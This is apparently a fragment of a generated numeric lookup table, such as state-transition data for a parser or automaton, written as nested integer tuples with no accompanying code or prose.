{0,{6099,6123,6125,6125}}, {0,{6100,6100,6111,6122}}, {0,{6101,6101,6101,6106}}, {0,{6102,6102,6102,6102}}, {0,{6103,6103,6103,6103}}, {0,{6104,6104,6104,6104}}, {0,{6105,3372,6105,3372}}, {705,{3373,3373,3373,3373}}, {0,{6107,6107,6107,6107}}, {0,{6108,6108,6108,6108}}, {0,{6109,6109,6109,6109}}, {0,{6110,3406,6110,3406}}, {706,{3407,3407,3407,3407}}, {0,{6112,6112,6112,6117}}, {0,{6113,6113,6113,6113}}, {0,{6114,6114,6114,6114}}, {0,{6115,6115,6115,6115}}, {0,{6116,3416,6116,3416}}, {707,{3417,3417,3417,3417}}, {0,{6118,6118,6118,6118}}, {0,{6119,6119,6119,6119}}, {0,{6120,6120,6120,6120}}, {0,{6121,0,6121,0}}, {708,{0,0,0,0}}, {0,{6117,6117,6117,6117}}, {0,{6124,6124,6122,6122}}, {0,{6106,6106,6106,6106}}, {0,{6122,6122,6122,6122}}, {0,{6125,6125,6125,6125}}, {0,{6128,6126,6126,6126}}, {0,{6129,6125,6125,6125}}, {0,{6111,6111,6111,6122}}, {0,{6127,6127,6127,6127}}, {0,{6132,6132,6132,6132}}, {0,{6126,6126,6126,6126}}, {0,{6096,6130,6130,6131}}, {0,{6131,6131,6131,6131}}, {0,{6136,6137,6134,6134}}, {709,{6130,6130,6130,6131}}, {0,{6130,6130,6130,6131}}, {0,{6134,6134,6134,6134}}, {0,{6140,6140,6140,6140}}, {0,{6141,6141,6147,6138}}, {0,{6142,6146,6134,6134}}, {710,{6143,6131,6131,6131}}, {0,{6144,6132,6144,6132}}, {0,{6145,6126,6126,6126}}, {0,{6123,6123,6125,6125}}, {0,{6143,6131,6131,6131}}, {0,{6148,6134,6134,6134}}, {711,{6131,6131,6131,6131}}, {0,{6139,6139,6139,6139}}, {0,{6151,6151,6151,6151}}, {0,{6152,3572,6152,3572}}, {0,{6153,3573,6153,3573}}, {0,{6154,3574,3574,3574}}, {0,{6155,6155,6155,6155}}, {0,{6156,6156,6156,6156}}, {0,{6157,6157,6157,6157}}, {0,{6158,6158,6158,6158}}, {0,{6147,6147,6147,6138}}, {0,{6160,6160,6160,6150}}, {0,{6161,6161,6161,6161}}, {0,{6162,3590,6162,3590}}, {0,{6163,3591,6163,3591}}, {0,{6164,3592,3592,3592}}, {0,{6165,6165,6165,6165}}, {0,{6149,6149,6149,6149}}, {0,{6150,6150,6150,6150}}, {0,{6166,6166,6166,6166}}, {0,{6167,6167,6167,6167}}, {0,{6170,6170,6170,6170}}, {0,{6171,6171,6171,6171}}, {0,{6172,6172,6172,6172}}, {0,{6173,6173,6173,6173}}, {0,{6174,0,6174,0}}, {0,{6175,0,6175,0}}, {0,{6176,0,0,0}}, {0,{6177,6177,6177,6177}}, {0,{6178,6178,6178,6178}}, {0,{6179,6179,6179,6179}}, {0,{6180,6180,6180,6180}}, {0,{6138,6138,6138,6138}}, {0,{6182,6169,6169,6169}}, {0,{6183,6170,6170,6170}}, {0,{6184,6171,6171,6171}}, {0,{6185,6185,6185,6172}}, {0,{6186,6186,6186,6186}}, {0,{6187,3675,6187,3675}}, {0,{6188,3676,6188,3676}}, {0,{6189,3677,3677,3677}}, {0,{6190,6190,6190,6190}}, {0,{6191,6191,6191,6178}}, {0,{6192,6192,6192,6179}}, {0,{6193,6193,6193,6193}}, {0,{6194,6194,6194,6138}}, {0,{6137,6137,6134,6134}}, {0,{6169,6169,6169,6169}}, {0,{6197,6181,6195,6195}}, {0,{6198,6169,6169,6169}}, {0,{6199,6170,6170,6170}}, {0,{6200,6215,6171,6171}}, {0,{6201,6201,6201,6172}}, {0,{6202,6202,6202,6202}}, {0,{6203,3700,6203,3700}}, {0,{6204,3701,6204,3701}}, {0,{6205,3702,3702,3702}}, {0,{6206,6206,6206,6206}}, {0,{6207,6207,6207,6214}}, {0,{6208,6208,6208,6211}}, {0,{6209,6209,6209,6209}}, {0,{6210,6210,6194,6138}}, {0,{6133,6133,6134,6134}}, {0,{6212,6212,6212,6212}}, {0,{6213,6213,6138,6138}}, {0,{6146,6146,6134,6134}}, {0,{6211,6211,6211,6211}}, {0,{6216,6216,6216,6172}}, {0,{6217,6217,6217,6217}}, {0,{6218,3727,6218,3727}}, {0,{6219,3728,6219,3728}}, {0,{6220,3729,3729,3729}}, {0,{6221,6221,6221,6221}}, {0,{6214,6214,6214,6214}}, {0,{6195,6195,6195,6195}}, {0,{6222,6222,6222,6222}}, {0,{6225,6225,6225,6223}}, {0,{6226,6230,6222,6222}}, {0,{6227,6195,6195,6195}}, {0,{6228,6168,6168,6169}}, {0,{6229,6167,6167,6167}}, {0,{6159,6159,6166,6166}}, {0,{6231,6195,6195,6195}}, {0,{6232,6169,6169,6169}}, {0,{6233,6170,6170,6170}}, {0,{6215,6215,6171,6171}}, {0,{6235,5474,6235,5474}}, {0,{6236,5475,5478,5475}}, {0,{6237,6237,5476,5476}}, {0,{6238,3883,5477,3883}}, {0,{6224,6224,6224,6224}}, {0,{6240,5480,6240,5480}}, {0,{6241,5481,5484,5481}}, {0,{6242,6242,5482,5482}}, {0,{6243,4796,5483,4796}}, {0,{6244,6244,6244,6244}}, {0,{6245,6245,6245,6223}}, {0,{6246,6222,6222,6222}}, {0,{6247,6195,6195,6195}}, {0,{6168,6168,6168,6169}}, {0,{6239,6239,6239,6239}}, {0,{6248,6248,6248,6248}}, {0,{6251,6251,6251,6251}}, {0,{6252,6252,6252,6252}}, {0,{6253,5516,6253,5516}}, {0,{6254,5517,5520,5517}}, {0,{6255,6255,5518,5518}}, {0,{6256,0,5519,0}}, {0,{6257,6257,6257,6257}}, {0,{6223,6223,6223,6223}}, {712,{6259,6271,6271,6273}}, {0,{6260,6270,6251,6251}}, {0,{6261,6261,6269,6252}}, {713,{6262,5550,6262,5550}}, {0,{6263,5551,5552,5551}}, {0,{6264,6264,5547,5547}}, {0,{6265,4991,5548,0}}, {0,{6266,6266,6257,6257}}, {0,{6267,6267,6267,6223}}, {0,{6268,6268,6222,6222}}, {0,{6181,6181,6195,6195}}, {714,{6253,5516,6253,5516}}, {716,{6252,6252,6252,6252}}, {0,{6272,6270,6251,6251}}, {0,{6269,6269,6269,6252}}, {0,{6251,6270,6251,6251}}, {0,{6250,6250,6250,6250}}, {0,{6276,6299,6312,6324}}, {717,{6277,6295,6295,6296}}, {0,{6278,6294,6294,6294}}, {0,{6279,6279,6284,6289}}, {0,{3888,3888,3888,6280}}, {0,{6281,3889,3890,3889}}, {0,{6282,3886,3886,3886}}, {0,{6283,3881,5965,3883}}, {0,{5966,5966,5967,5967}}, {0,{4777,4777,4777,6285}}, {0,{6286,4774,4776,4774}}, {0,{6287,4775,4775,4775}}, {0,{6288,3883,5973,3883}}, {0,{5967,5967,5967,5967}}, {0,{4802,4802,4802,6290}}, {0,{6291,4799,4801,4799}}, {0,{6292,4800,4800,4800}}, {0,{6293,4796,5986,4796}}, {0,{5987,5987,5987,5987}}, {0,{6289,6289,6289,6289}}, {0,{6294,6294,6294,6294}}, {0,{6297,6297,6297,6297}}, {0,{6298,6298,6298,6298}}, {0,{4916,4916,4916,6065}}, {719,{6300,6309,6309,6311}}, {0,{6301,6308,6297,6297}}, {0,{6302,6302,6307,6298}}, {720,{4997,4997,4997,6303}}, {0,{6304,4998,4999,4998}}, {0,{6305,4995,4995,4995}}, {0,{6306,4991,6034,0}}, {0,{6035,6035,6001,6001}}, {721,{4916,4916,4916,6065}}, {723,{6298,6298,6298,6298}}, {0,{6310,6308,6297,6297}}, {0,{6307,6307,6307,6298}}, {0,{6297,6308,6297,6297}}, {0,{6313,6313,6313,6313}}, {0,{6314,6314,6314,6314}}, {0,{6315,6315,6315,6315}}, {0,{5723,5723,5723,6316}}, {0,{6317,5724,5725,5724}}, {0,{6318,5719,5719,5719}}, {0,{6319,0,6323,0}}, {0,{6320,6320,6320,6320}}, {0,{6321,6321,6321,6321}}, {0,{6322,5925,6322,5925}}, {724,{5924,5924,5924,5924}}, {726,{6001,6001,6001,6001}}, {0,{6296,6296,6296,6296}}, {0,{6326,6329,6326,6326}}, {0,{6327,6327,6327,6327}}, {0,{6328,6328,6328,6328}}, {0,{5804,5804,5804,5804}}, {727,{6330,6330,6330,6334}}, {0,{6331,6333,6328,6328}}, {0,{6332,6332,6332,5804}}, {728,{5794,5794,5794,5794}}, {730,{5804,5804,5804,5804}}, {0,{6328,6333,6328,6328}}, {0,{6336,6354,6366,6381}}, {0,{6337,6344,6348,6351}}, {0,{6338,6341,6341,6342}}, {0,{6339,6340,6340,6340}}, {0,{4768,4768,4768,4784}}, {0,{4784,4784,4784,4784}}, {0,{6340,6340,6340,6340}}, {0,{6343,6343,6343,6343}}, {0,{4958,4958,4958,4958}}, {731,{6345,6345,6345,6345}}, {0,{6346,6347,6346,6346}}, {0,{5152,5152,5152,5152}}, {733,{5152,5152,5152,5152}}, {0,{6349,6349,6349,6349}}, {0,{6350,6350,6350,6350}}, {0,{5382,5382,5382,5382}}, {0,{6352,6352,6352,6352}}, {0,{6353,6353,6353,6353}}, {0,{5434,5434,5434,5434}}, {734,{6355,6362,6365,6365}}, {0,{6356,6359,6359,6360}}, {0,{6357,6358,6358,6358}}, {0,{5473,5473,5473,5479}}, {0,{5479,5479,5479,5479}}, {0,{6358,6358,6358,6358}}, {0,{6361,6361,6361,6361}}, {0,{5538,5538,5538,5538}}, {735,{6363,6363,6363,6363}}, {0,{6361,6364,6361,6361}}, {737,{5538,5538,5538,5538}}, {0,{6360,6360,6360,6360}}, {0,{6367,6374,6377,6380}}, {738,{6368,6371,6371,6372}}, {0,{6369,6370,6370,6370}}, {0,{5646,5646,5646,5651}}, {0,{5651,5651,5651,5651}}, {0,{6370,6370,6370,6370}}, {0,{6373,6373,6373,6373}}, {0,{5677,5677,5677,5677}}, {740,{6375,6375,6375,6375}}, {0,{6373,6376,6373,6373}}, {742,{5677,5677,5677,5677}}, {0,{6378,6378,6378,6378}}, {0,{6379,6379,6379,6379}}, {0,{5759,5759,5759,5759}}, {0,{6372,6372,6372,6372}}, {0,{6326,6382,6326,6326}}, {743,{6334,6334,6334,6334}}, {0,{6384,6354,6416,6381}}, {0,{6385,6401,6408,6412}}, {0,{6386,6395,6395,6396}}, {0,{6387,6394,6394,6394}}, {0,{6388,6388,6388,6391}}, {0,{4769,4777,4777,6389}}, {0,{6390,4774,4776,4774}}, {0,{4782,4782,4782,4782}}, {0,{4785,4802,4802,6392}}, {0,{6393,4799,4801,4799}}, {0,{4814,4814,4814,4814}}, {0,{6391,6391,6391,6391}}, {0,{6394,6394,6394,6394}}, {0,{6397,6397,6397,6397}}, {0,{6398,6398,6398,6398}}, {0,{4939,4916,4916,6399}}, {0,{6400,4913,4915,4913}}, {0,{4933,4933,4933,4933}}, {744,{6402,6402,6402,6402}}, {0,{6403,6407,6403,6403}}, {0,{6404,6404,6404,6404}}, {0,{4939,4916,4916,6405}}, {0,{6406,4913,4915,4913}}, {0,{5157,5157,5157,5157}}, {746,{6404,6404,6404,6404}}, {0,{6409,6409,6409,6409}}, {0,{6410,6410,6410,6410}}, {0,{6411,6411,6411,6411}}, {0,{5360,5337,5337,5337}}, {0,{6413,6413,6413,6413}}, {0,{6414,6414,6414,6414}}, {0,{6415,6415,6415,6415}}, {0,{4939,4916,4916,4916}}, {0,{6417,6427,6430,6434}}, {747,{6418,6423,6423,6424}}, {0,{6419,6422,6422,6422}}, {0,{6420,6420,6420,6421}}, {0,{4777,4777,4777,4777}}, {0,{4802,4802,4802,4802}}, {0,{6421,6421,6421,6421}}, {0,{6422,6422,6422,6422}}, {0,{6425,6425,6425,6425}}, {0,{6426,6426,6426,6426}}, {0,{4916,4916,4916,4916}}, {749,{6428,6428,6428,6428}}, {0,{6425,6429,6425,6425}}, {751,{6426,6426,6426,6426}}, {0,{6431,6431,6431,6431}}, {0,{6432,6432,6432,6432}}, {0,{6433,6433,6433,6433}}, {0,{5723,5723,5723,5723}}, {0,{6424,6424,6424,6424}}, {0,{6436,6598,6618,6670}}, {0,{6437,6595,6437,6596}}, {0,{6438,6569,6593,6593}}, {0,{6439,6554,6560,6561}}, {0,{6440,6544,6544,6544}}, {0,{6441,6532,6533,6540}}, {0,{6442,6446,6446,6448}}, {0,{6443,6443,6443,6443}}, {0,{6444,6444,6444,6445}}, {0,{3861,3861,3861,3867}}, {0,{3881,3881,3881,3883}}, {0,{6447,6447,6447,6447}}, {0,{6445,6445,6445,6445}}, {0,{6449,6447,6447,6447}}, {0,{6450,6445,6445,6445}}, {0,{6451,6451,6451,6521}}, {0,{6452,3864,3865,3865}}, {0,{6453,6453,6453,6520}}, {0,{6454,6501,6519,6519}}, {0,{6455,6490,6500,6500}}, {0,{6456,6480,6480,6481}}, {0,{6457,6479,6479,6479}}, {0,{6458,6471,6478,6478}}, {0,{6459,6459,6459,6465}}, {0,{3353,3353,3353,6460}}, {0,{3354,3354,3354,6461}}, {0,{3355,3355,3355,6462}}, {0,{6463,6463,6463,6463}}, {0,{6464,3357,3357,3357}}, {752,{3358,3358,3358,3444}}, {0,{3571,3571,3571,6466}}, {0,{3572,3572,3572,6467}}, {0,{3573,3573,3573,6468}}, {0,{6469,6469,6469,6469}}, {0,{6470,3575,3575,3575}}, {753,{3576,3576,3576,3576}}, {0,{6472,6472,6472,6465}}, {0,{3589,3589,3589,6473}}, {0,{3590,3590,3590,6474}}, {0,{3591,3591,3591,6475}}, {0,{6476,6476,6476,6476}}, {0,{6477,3593,3593,3593}}, {754,{3444,3444,3444,3444}}, {0,{6465,6465,6465,6465}}, {0,{6478,6478,6478,6478}}, {0,{6479,6479,6479,6479}}, {0,{6482,6482,6482,6482}}, {0,{6483,6483,6483,6483}}, {0,{6484,6484,6484,6484}}, {0,{0,0,0,6485}}, {0,{0,0,0,6486}}, {0,{0,0,0,6487}}, {0,{6488,6488,6488,6488}}, {0,{6489,0,0,0}}, {755,{0,0,0,0}}, {0,{6491,6481,6481,6481}}, {0,{6492,6482,6482,6482}}, {0,{6493,6483,6483,6483}}, {0,{6494,6494,6494,6484}}, {0,{3674,3674,3674,6495}}, {0,{3675,3675,3675,6496}}, {0,{3676,3676,3676,6497}}, {0,{6498,6498,6498,6498}}, {0,{6499,3678,3678,3678}}, {756,{3679,3679,3679,0}}, {0,{6481,6481,6481,6481}}, {0,{6502,6490,6500,6500}}, {0,{6503,6481,6481,6481}}, {0,{6504,6482,6482,6482}}, {0,{6505,6512,6483,6483}}, {0,{6506,6506,6506,6484}}, {0,{3699,3699,3699,6507}}, {0,{3700,3700,3700,6508}}, {0,{3701,3701,3701,6509}}, {0,{6510,6510,6510,6510}}, {0,{6511,3703,3703,3703}}, {757,{3704,3704,3704,3711}}, {0,{6513,6513,6513,6484}}, {0,{3726,3726,3726,6514}}, {0,{3727,3727,3727,6515}}, {0,{3728,3728,3728,6516}}, {0,{6517,6517,6517,6517}}, {0,{6518,3730,3730,3730}}, {758,{3711,3711,3711,3711}}, {0,{6500,6500,6500,6500}}, {0,{6519,6519,6519,6519}}, {0,{6522,3865,3865,3865}}, {0,{6523,6523,6523,6520}}, {0,{6524,6528,6519,6519}}, {0,{6525,6500,6500,6500}}, {0,{6526,6480,6480,6481}}, {0,{6527,6479,6479,6479}}, {0,{6471,6471,6478,6478}}, {0,{6529,6500,6500,6500}}, {0,{6530,6481,6481,6481}}, {0,{6531,6482,6482,6482}}, {0,{6512,6512,6483,6483}}, {0,{6446,6446,6446,6446}}, {0,{6534,6534,6534,6537}}, {0,{6535,6535,6535,6535}}, {0,{6536,6536,6536,6536}}, {0,{3883,3883,3883,3883}}, {0,{6538,6535,6535,6535}}, {0,{6539,6536,6536,6536}}, {0,{6521,6521,6521,6521}}, {0,{6541,6541,6541,6541}}, {0,{6542,6542,6542,6542}}, {0,{6543,6543,6543,6543}}, {0,{4796,4796,4796,4796}}, {0,{6545,6540,6545,6540}}, {0,{6541,6541,6541,6546}}, {0,{6547,6542,6542,6542}}, {0,{6548,6543,6543,6543}}, {0,{6549,6549,6549,6549}}, {0,{6550,4797,4797,4797}}, {0,{6551,6551,6551,6520}}, {0,{6552,6519,6519,6519}}, {0,{6553,6500,6500,6500}}, {0,{6480,6480,6480,6481}}, {0,{6555,6544,6544,6544}}, {0,{6556,6540,6545,6540}}, {0,{6557,6541,6541,6546}}, {0,{6558,6558,6558,6558}}, {0,{6559,6559,6559,6543}}, {0,{4890,4890,4890,4890}}, {0,{6544,6544,6544,6544}}, {0,{6562,6562,6562,6562}}, {0,{6563,0,6563,0}}, {0,{0,0,0,6564}}, {0,{6565,0,0,0}}, {0,{6566,0,0,0}}, {0,{6567,6567,6567,6567}}, {0,{6568,0,0,0}}, {0,{6520,6520,6520,6520}}, {759,{6570,6588,6592,6592}}, {0,{6571,6587,6562,6562}}, {0,{6572,6586,6563,0}}, {0,{6573,6577,6577,6579}}, {0,{6574,6574,6574,6574}}, {0,{6575,6575,6575,6576}}, {0,{4980,4980,4980,4984}}, {0,{4991,4991,4991,0}}, {0,{6578,6578,6578,6578}}, {0,{6576,6576,6576,6576}}, {0,{6580,6578,6578,6578}}, {0,{6581,6576,6576,6576}}, {0,{6582,6582,6582,6567}}, {0,{6583,4982,0,0}}, {0,{6584,6584,6584,6520}}, {0,{6585,6585,6519,6519}}, {0,{6490,6490,6500,6500}}, {0,{6577,6577,6577,6577}}, {761,{6563,0,6563,0}}, {0,{6589,6587,6562,6562}}, {0,{6590,0,6563,0}}, {0,{6591,0,0,6564}}, {0,{5791,5791,5791,5791}}, {0,{6562,6587,6562,6562}}, {0,{6594,6594,6561,6561}}, {0,{6589,6562,6562,6562}}, {762,{6438,6569,6593,6593}}, {0,{6593,6597,6593,6593}}, {763,{6588,6588,6592,6592}}, {0,{6599,6615,6599,6616}}, {0,{6600,6606,0,0}}, {0,{6601,6605,6605,0}}, {0,{6602,6604,6604,6604}}, {0,{6532,6532,6603,6540}}, {0,{6534,6534,6534,6534}}, {0,{6540,6540,6540,6540}}, {0,{6604,6604,6604,6604}}, {764,{6607,6612,6612,6614}}, {0,{6608,6611,0,0}}, {0,{6609,6609,6610,0}}, {765,{6577,6577,6577,6577}}, {766,{0,0,0,0}}, {768,{0,0,0,0}}, {0,{6613,6611,0,0}}, {0,{6610,6610,6610,0}}, {0,{0,6611,0,0}}, {769,{6600,6606,0,0}}, {0,{0,6617,0,0}}, {770,{6612,6612,6612,6614}}, {0,{6619,6624,6619,6669}}, {0,{6620,6623,0,0}}, {0,{6621,6605,6605,0}}, {0,{6622,6604,6604,6604}}, {0,{6603,6603,6603,6540}}, {771,{6614,6614,6614,6614}}, {772,{6625,6623,0,0}}, {0,{6626,6605,6668,0}}, {0,{6622,6627,6604,6604}}, {0,{6540,6628,6540,6540}}, {0,{6629,6629,6629,6629}}, {0,{6630,6630,6630,6630}}, {0,{6631,6631,6631,6631}}, {0,{6632,6632,4796,4796}}, {0,{6633,6633,6633,4797}}, {0,{6634,6634,6634,6666}}, {0,{6635,0,0,0}}, {0,{6636,0,6665,0}}, {0,{6637,6637,6637,6653}}, {0,{6638,6638,6638,3752}}, {0,{6639,6639,3748,3748}}, {0,{6640,6640,6640,6640}}, {0,{6641,6641,6641,6641}}, {0,{6642,6642,6642,6642}}, {0,{6643,6643,6643,6643}}, {0,{6644,6644,6644,6644}}, {0,{6645,6645,6645,6645}}, {0,{6646,6646,6646,6646}}, {0,{6647,6647,6647,6647}}, {0,{6648,6648,6648,6648}}, {0,{6649,6649,6649,6652}}, {0,{6650,0,6651,0}}, {774,{0,0,0,0}}, {775,{0,0,0,0}}, {0,{6651,0,6651,0}}, {0,{6654,6654,6654,0}}, {0,{6655,6655,0,0}}, {0,{6656,6656,6656,6656}}, {0,{6657,6657,6657,6657}}, {0,{6658,6658,6658,6658}}, {0,{6659,6659,6659,6659}}, {0,{6660,6660,6660,6660}}, {0,{6661,6661,6661,6661}}, {0,{6662,6662,6662,6662}}, {0,{6663,6663,6663,6663}}, {0,{6664,6664,6664,6664}}, {0,{6652,6652,6652,6652}}, {0,{6653,6653,6653,6653}}, {0,{6667,0,0,0}}, {0,{6665,0,6665,0}}, {0,{6604,6627,6604,6604}}, {0,{0,6623,0,0}}, {0,{6619,6671,6619,6669}}, {776,{6620,6623,0,0}}, {0,{6673,7404,7428,7435}}, {778,{6674,7203,7241,7390}}, {0,{6675,7119,7144,7200}}, {0,{6676,7076,7087,7088}}, {0,{6677,6987,7015,6987}}, {0,{6678,6933,6937,6540}}, {0,{6679,6446,6446,6446}}, {0,{6680,6443,6443,6443}}, {0,{6681,6444,6444,6445}}, {0,{6682,6682,6682,6922}}, {0,{6683,3864,3865,3865}}, {0,{6684,6684,6684,6921}}, {0,{6685,6894,6920,6920}}, {0,{6686,6879,6893,6893}}, {0,{6687,6855,6855,6856}}, {0,{6688,6835,6854,6854}}, {0,{6689,6818,6825,6825}}, {0,{6690,6690,3744,3745}}, {0,{3353,3353,3353,6691}}, {0,{6692,3354,3354,3354}}, {0,{6693,3355,3355,3355}}, {0,{6694,6694,6694,6694}}, {0,{6695,3357,3357,3357}}, {0,{6696,6696,6696,6807}}, {0,{6697,6697,3359,3434}}, {0,{6698,6698,6698,6698}}, {0,{6699,6699,6803,6806}}, {0,{6700,6801,6802,6802}}, {779,{6701,6798,6798,6799}}, {0,{6702,6795,6702,6795}}, {0,{6703,6794,6794,6794}}, {0,{6704,6791,6793,6793}}, {0,{6705,6705,6765,6790}}, {0,{6706,6706,6706,6756}}, {0,{3369,3369,3369,6707}}, {0,{3370,3370,3370,6708}}, {0,{3371,3371,3371,6709}}, {0,{6710,6710,6710,6710}}, {0,{6711,3373,3373,3373}}, {0,{6712,6712,6712,6712}}, {0,{6713,3375,3375,3375}}, {0,{6714,6714,6714,6714}}, {0,{6715,6715,6715,6748}}, {0,{6716,6716,6716,6716}}, {0,{6717,6717,6717,6717}}, {0,{6718,6718,6745,6747}}, {0,{6719,6719,6719,6741}}, {0,{6720,6739,6720,6739}}, {0,{6721,6721,6721,6721}}, {0,{6722,6737,6722,6737}}, {0,{6723,6735,6735,6736}}, {780,{6724,6724,6734,6734}}, {781,{6725,6725,6725,6725}}, {0,{6726,6726,6726,6726}}, {0,{0,0,0,6727}}, {0,{0,0,0,6728}}, {0,{0,0,0,6729}}, {0,{0,0,0,6730}}, {0,{0,0,0,6731}}, {0,{6732,6732,6732,6732}}, {0,{6733,0,0,0}}, {782,{0,0,0,0}}, {0,{6725,6725,6725,6725}}, {0,{6724,6724,6734,6734}}, {0,{6734,6734,6734,6734}}, {0,{6738,6736,6736,6736}}, {783,{6734,6734,6734,6734}}, {0,{6740,6740,6740,6740}}, {0,{6737,6737,6737,6737}}, {0,{6742,6742,6742,6742}}, {0,{6743,6743,6743,6743}}, {0,{6744,6744,6744,6744}}, {0,{6736,6736,6736,6736}}, {0,{6746,6746,6746,6741}}, {0,{6739,6739,6739,6739}}, {0,{6741,6741,6741,6741}}, {0,{6749,6749,6749,6749}}, {0,{6750,6750,6750,6750}}, {0,{6751,6751,6747,6747}}, {0,{6752,6752,6752,6741}}, {0,{6753,6742,6753,6742}}, {0,{6754,6754,6754,6754}}, {0,{6755,6744,6755,6744}}, {0,{6735,6735,6735,6736}}, {0,{3403,3403,3403,6757}}, {0,{3404,3404,3404,6758}}, {0,{3405,3405,3405,6759}}, {0,{6760,6760,6760,6760}}, {0,{6761,3407,3407,3407}}, {0,{6762,6762,6762,6762}}, {0,{6763,3409,3409,3409}}, {0,{6764,6764,6764,6764}}, {0,{6748,6748,6748,6748}}, {0,{6766,6766,6766,6781}}, {0,{3413,3413,3413,6767}}, {0,{3414,3414,3414,6768}}, {0,{3415,3415,3415,6769}}, {0,{6770,6770,6770,6770}}, {0,{6771,3417,3417,3417}}, {0,{6772,6772,6772,6772}}, {0,{6773,3419,3419,3419}}, {0,{6774,6774,6774,6774}}, {0,{6775,6775,6775,6778}}, {0,{6776,6776,6776,6776}}, {0,{6777,6777,6777,6777}}, {0,{6745,6745,6745,6747}}, {0,{6779,6779,6779,6779}}, {0,{6780,6780,6780,6780}}, {0,{6747,6747,6747,6747}}, {0,{0,0,0,6782}}, {0,{0,0,0,6783}}, {0,{0,0,0,6784}}, {0,{6785,6785,6785,6785}}, {0,{6786,0,0,0}}, {0,{6787,6787,6787,6787}}, {0,{6788,0,0,0}}, {0,{6789,6789,6789,6789}}, {0,{6778,6778,6778,6778}}, {0,{6781,6781,6781,6781}}, {0,{6792,6792,6790,6790}}, {0,{6756,6756,6756,6756}}, {0,{6790,6790,6790,6790}}, {0,{6793,6793,6793,6793}}, {0,{6796,6794,6794,6794}}, {0,{6797,6793,6793,6793}}, {0,{6765,6765,6765,6790}}, {0,{6795,6795,6795,6795}}, {0,{6800,6800,6800,6800}}, {0,{6794,6794,6794,6794}}, {0,{6701,6798,6798,6799}}, {0,{6799,6799,6799,6799}}, {0,{6804,6805,6802,6802}}, {784,{6798,6798,6798,6799}}, {0,{6798,6798,6798,6799}}, {0,{6802,6802,6802,6802}}, {0,{6808,6808,3434,3434}}, {0,{6809,6809,6809,6809}}, {0,{6810,6810,6816,6806}}, {0,{6811,6815,6802,6802}}, {785,{6812,6799,6799,6799}}, {0,{6813,6800,6813,6800}}, {0,{6814,6794,6794,6794}}, {0,{6791,6791,6793,6793}}, {0,{6812,6799,6799,6799}}, {0,{6817,6802,6802,6802}}, {786,{6799,6799,6799,6799}}, {0,{6819,6819,3747,3745}}, {0,{3589,3589,3589,6820}}, {0,{6821,3590,3590,3590}}, {0,{6822,3591,3591,3591}}, {0,{6823,6823,6823,6823}}, {0,{6824,3593,3593,3593}}, {0,{6807,6807,6807,6807}}, {0,{6826,6826,3745,3745}}, {0,{3571,3571,3571,6827}}, {0,{6828,3572,3572,3572}}, {0,{6829,3573,3573,3573}}, {0,{6830,6830,6830,6830}}, {0,{6831,3575,3575,3575}}, {0,{6832,6832,6832,6832}}, {0,{6833,6833,3577,3577}}, {0,{6834,6834,6834,6834}}, {0,{6816,6816,6816,6806}}, {0,{6836,6825,6825,6825}}, {0,{6837,6826,3745,3745}}, {0,{3604,3604,3604,6838}}, {0,{6839,3605,3605,3605}}, {0,{6840,3606,3606,3573}}, {0,{6841,6841,6841,6841}}, {0,{6842,3608,3608,3575}}, {0,{6843,6843,6843,6843}}, {0,{6844,6833,3577,3577}}, {0,{6845,6845,6845,6845}}, {0,{6846,6846,6846,6853}}, {0,{6847,6852,6852,6852}}, {787,{6848,6848,6848,6848}}, {0,{6849,6849,6849,6849}}, {0,{6850,6850,6850,6850}}, {0,{6851,6851,6793,6793}}, {788,{6790,6790,6790,6790}}, {0,{6848,6848,6848,6848}}, {0,{6852,6852,6852,6852}}, {0,{6825,6825,6825,6825}}, {0,{6854,6835,6854,6854}}, {0,{6857,6868,6857,6857}}, {0,{6858,6858,6858,6858}}, {0,{6859,6859,0,0}}, {0,{0,0,0,6860}}, {0,{6861,0,0,0}}, {0,{6862,0,0,0}}, {0,{6863,6863,6863,6863}}, {0,{6864,0,0,0}}, {0,{6865,6865,6865,6865}}, {0,{6866,6866,0,0}}, {0,{6867,6867,6867,6867}}, {0,{6806,6806,6806,6806}}, {0,{6869,6858,6858,6858}}, {0,{6870,6859,0,0}}, {0,{3653,3653,3653,6871}}, {0,{6872,3654,3654,3654}}, {0,{6873,3655,3655,0}}, {0,{6874,6874,6874,6874}}, {0,{6875,3657,3657,0}}, {0,{6876,6876,6876,6876}}, {0,{6877,6866,0,0}}, {0,{6878,6878,6878,6878}}, {0,{6853,6853,6853,6853}}, {0,{6880,6856,6856,6856}}, {0,{6881,6868,6857,6857}}, {0,{6882,6858,6858,6858}}, {0,{6883,6883,3762,0}}, {0,{3674,3674,3674,6884}}, {0,{6885,3675,3675,3675}}, {0,{6886,3676,3676,3676}}, {0,{6887,6887,6887,6887}}, {0,{6888,3678,3678,3678}}, {0,{6889,6889,6889,6865}}, {0,{6890,6890,3680,0}}, {0,{6891,6891,6891,6891}}, {0,{6892,6892,6892,6806}}, {0,{6805,6805,6802,6802}}, {0,{6856,6856,6856,6856}}, {0,{6895,6879,6893,6893}}, {0,{6896,6856,6856,6856}}, {0,{6897,6868,6857,6857}}, {0,{6898,6913,6858,6858}}, {0,{6899,6899,3769,0}}, {0,{3699,3699,3699,6900}}, {0,{6901,3700,3700,3700}}, {0,{6902,3701,3701,3701}}, {0,{6903,6903,6903,6903}}, {0,{6904,3703,3703,3703}}, {0,{6905,6905,6905,6909}}, {0,{6906,6906,3705,3708}}, {0,{6907,6907,6907,6907}}, {0,{6908,6908,6892,6806}}, {0,{6801,6801,6802,6802}}, {0,{6910,6910,3708,3708}}, {0,{6911,6911,6911,6911}}, {0,{6912,6912,6806,6806}}, {0,{6815,6815,6802,6802}}, {0,{6914,6914,3771,0}}, {0,{3726,3726,3726,6915}}, {0,{6916,3727,3727,3727}}, {0,{6917,3728,3728,3728}}, {0,{6918,6918,6918,6918}}, {0,{6919,3730,3730,3730}}, {0,{6909,6909,6909,6909}}, {0,{6893,6893,6893,6893}}, {0,{6920,6920,6920,6920}}, {0,{6923,3865,3865,3865}}, {0,{6924,6924,6924,6921}}, {0,{6925,6929,6920,6920}}, {0,{6926,6893,6893,6893}}, {0,{6927,6855,6855,6856}}, {0,{6928,6835,6854,6854}}, {0,{6818,6818,6825,6825}}, {0,{6930,6893,6893,6893}}, {0,{6931,6856,6856,6856}}, {0,{6932,6868,6857,6857}}, {0,{6913,6913,6858,6858}}, {0,{6446,6446,6446,6934}}, {0,{6935,6935,6935,6447}}, {0,{6936,6445,6445,6445}}, {0,{4765,4650,4765,4752}}, {0,{6534,6534,6534,6938}}, {0,{6939,6535,6535,6535}}, {0,{6940,6536,6536,6536}}, {0,{6941,6941,3883,3883}}, 